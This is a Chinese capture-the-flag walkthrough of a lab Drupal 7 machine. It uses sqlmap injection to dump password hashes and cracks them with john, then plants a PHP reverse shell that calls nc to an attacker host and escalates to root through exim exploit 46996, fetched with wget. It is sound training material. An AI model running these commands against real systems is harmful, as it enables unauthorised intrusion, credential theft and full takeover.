1. 信息搜集
扫描IP,发现主机 192.168.163.131
扫描端口发现80和22端口
1
nmap -T4 -A -p- 192.168.163.131
目录扫描发现登录地址 /user/login/
1
dirsearch -u http://192.168.163.131 -e* -i 200
指纹识别,发现站点为 Drupal 7
1
whatweb -v http://192.168.163.131
浏览器查看站点地址: http://192.168.163.131/?nid=1
nid=1'
测试发现存在sql注入
2. 渗透测试
2.1.1. 数据库爆破
sqlmap爆破数据库,获取用户名密码
1
2
3
4
5
6
7
8
# 获取当前数据库
sqlmap -u http://192.168.163.131/?nid=1 --current-db --batch
# 获取数据库表
sqlmap -u http://192.168.163.131/?nid=1 -D d7db --tables
# 获取表中列
sqlmap -u http://192.168.163.131/?nid=1 -D d7db -T users --columns
# 获取用户名,密码
sqlmap -u http://192.168.163.131/?nid=1 -D d7db -T users -C name,pass --dump
数据库名:d7db
数据库中users表的列名,发现其中有 name
, pass
获取到用户名、密码
$S
为Drupal
的密码哈希加密格式,尝试用 john
破解
1
2
3
4
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' > john.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' >> john.txt
john john.txt
# turtle
2.1.2. 反弹shell
使用用户名:john,密码:turtle 登录成功,浏览网站
在此页面发现可以注入PHP代码: http://192.168.163.131/node/3#overlay-context=user/2&overlay=node/3/webform/configure
添加反弹shell代码
1
<?php exec('nc -nv 192.168.163.132 4444 -c /bin/bash');?>
kali开启监听,浏览器访问Contact Us
页面,提交内容后,kali成功连接到shell
2.1.3. 提权
sudo -l
提权失败,尝试find提权
1
find / -user root -perm -4000 -type f 2> /dev/null
发现 /usr/sbin/exim4
查看exim4
版本为:4.89
搜索相关漏洞
1
searchexploit exim
使用 46996.sh
脚本,将其传输到目标机
1
2
# 复制到当前目录
searchexploit -m 46996
查看内容,发现两种使用方法
方法1:-m setuid
方法2:-m netcat
将 46996.sh
传输到目标机
1
2
3
4
5
6
7
8
9
10
# 开启http服务
python -m http.server 8000
# 目标机获取脚本
wget http://192.168.163.132:8000/46996.sh
# 添加执行权限
chmod +x 46996.sh
# 提权方法1
./46996.sh -m setuid
# 提权方法2
./46996.sh -m netcat
方法1提权失败
方法2提权成功
2.1.4. 获取flag
root目录下获取到flag文件